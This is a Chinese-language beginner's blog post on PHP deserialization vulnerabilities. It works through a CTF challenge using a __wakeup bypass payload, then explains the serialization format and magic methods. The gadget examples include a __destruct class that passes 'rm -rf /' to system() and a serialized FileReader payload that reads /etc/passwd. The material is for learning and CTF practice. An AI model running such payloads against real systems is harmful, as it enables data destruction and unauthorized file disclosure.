PHP反序列化漏洞

前言：我写这个的目的主要是由于我在看题时看到了相关内容，处于新手期想要广泛获取知识，想由此激励自己学习php反序列化漏洞的相关知识，并总结学习心得与经验。

0.入坑题：攻防世界web（unserialize3）

ps:初见这题时我什么概念都不懂，整道题均由ds老师赞助完成(doge)

我们先由这道题引出相关内容吧：

题目给出了这个：

1
2
3
4
5
6
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

除此之外没有什么东西，对新手来说大概率考的是payload的构造，因此有以下几个步骤：

第一步：理解你的类

1
2
3
class xctf{
    public $flag = '111';
}

这个类有：

  • 类名：xctf（4个字符）
  • 一个公有属性：flag，值为 '111'

第二步：手动构造序列化字符串

A. 对象开始部分

对象以 O: 开头：

1
2
O:类名长度:"类名":属性个数:{属性定义}
O:4:"xctf":1:{
  • O: 表示对象
  • 4: 类名长度（xctf是4个字符）
  • "xctf": 类名
  • 1: 属性个数（这个类有1个属性）
  • { 开始定义属性
B. 属性定义部分

公有属性的格式：s:属性名长度:"属性名";类型:值

属性 flag 是公有属性：

1
s:4:"flag";s:3:"111";
  • s:4:"flag"; 属性名（flag是4个字符）
  • s:3:"111"; 属性值（111是3个字符的字符串）
C. 闭合
1
}

第三步：完整序列化字符串

1
O:4:"xctf":1:{s:4:"flag";s:3:"111";}

而本题之所以能成功，是因为利用了_wakeup()的漏洞，当序列化字符串中的属性个数大于实际属性个数时，__wakeup() 不会执行。

从而构造URL：

1
http://61.147.171.35:61068/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

进而得到flag。

小试牛刀后我们可以进一步思考这一方向的学习：

1.序列化和反序列化究竟是什么？

2.ds老师说的魔术方法具体是什么？

3.如何利用漏洞和绕过？

4.如何解决这些漏洞产生的安全问题？

带着这些问题我进入了学习：

一.序列化和反序列化

1.序列化serialize()

序列化是将对象或数组转化为字符串，方便储存，PHP使用serialize()函数将对象序列化，序列化只作用于对象的成员属性，不作用于成员方法(ps:类的内部构成分为成员属性和成员方法，或可称为变量和函数)

我们来看看序列化的代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  class S{
    public $test="pikachu";
  }
  $s=new S();	//创建一个对象
  serialize($s);	//把这个对象进行序列化
  序列化得到的结果是：0:1:"S":1:{s:4:"test";s:7:"pikachu"}
    每个字符的含义：
    0:代表object
    1:代表对象名字长度为一个字符（上面创建的对象S）
    S:对象的名称
    1:代表对象里面有一个变量
    s:数据类型
    4:变量名称的长度
    test:变量名称
    s:数据类型
    7:变量值的长度
    pikachu
序列化后字符串意义解释：
变量类型：类名长度（字节）：类名：属性数量：{属性名类型：属性名长度：属性值长度：属性值内容}

我们可以注意到，声明字段这里与例题都用的是public，除此之外还有protected和private。

其中，三者在序列化后的字符串表示区别如下：

1
2
3
private变量会被序列化为：\x00类名\x00变量名
protected变量会被序列化为：\x00*\x00变量名
public变量会被序列化为：变量名

2.反序列化unserialize()

知道了序列化是什么，反序列化自然就是反着来，将字符串转化为对象，而反序列化漏洞，其实就是利用应用程序本身在反序列化过程中缺乏对传入数据有足够的验证和过滤，导致攻击者可以利用构造的恶意的序列化数据来执行攻击。

二.魔术方法详解

ps:谁取的名字，好抽象()

序列化和反序列化本身是正常的，但是如果用户可以控制反序列化的内容，并且PHP魔法函数使用不正当，就会产生漏洞，导致安全性问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
__construct()       //类的构造函数，创建对象时触发
__destruct()        //类的析构函数，对象被销毁时触发
__call()            //调用对象不可访问、不存在的方法时触发
__callStatic()     //在静态上下文中调用不可访问的方法时触发
__get()            //调用不可访问、不存在的对象成员属性时触发
__set()           //在给不可访问、不存在的对象成员属性赋值时触发
__isset()         //当对不可访问属性调用isset()或empty()时触发
__unset()         //在不可访问的属性上使用unset()时触发
__invoke()        //把对象当初函数调用时触发
__sleep()        //执行serialize()时，立即被调用
__wakeup()       //执行unserialize()时，立即被调用
__toString()     //把对象当成字符串调用时触发
__clone()        //使用clone关键字拷贝完一个对象后触发

魔术方法的简单利用

1.__destruct()

1
2
3
4
5
6
7
8
9
10
class Exploit {
    public $cmd = "id";
    function __destruct() {
        system($this->cmd);
    }
}

$exploit = new Exploit();
$exploit->cmd = "rm -rf /";
echo serialize($exploit);

当反序列化时，若程序终止，__destruct()就会被触发，然后就会执行system。

2.__wakeup ()

前面提到了不再说。

3.__toString ()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class FileReader {
    public $filename = "index.php";
    

    function __toString() {
        return file_get_contents($this->filename);
    }

}

// 正常使用
$reader = new FileReader();
echo $reader; // 输出index.php内容

// 恶意构造
$malicious = 'O:9:"FileReader":1:{s:8:"filename";s:10:"/etc/passwd";}';
echo unserialize($malicious); // 输出/etc/passwd内容

当攻击者能够控制filename属性时，可以通过反序列化该对象并将其转换为字符串，读取任意文件内容。

三.解决方案(可能)

本文参考：php反序列化漏洞(万字详解)-CSDN博客

Leave a comment

utterances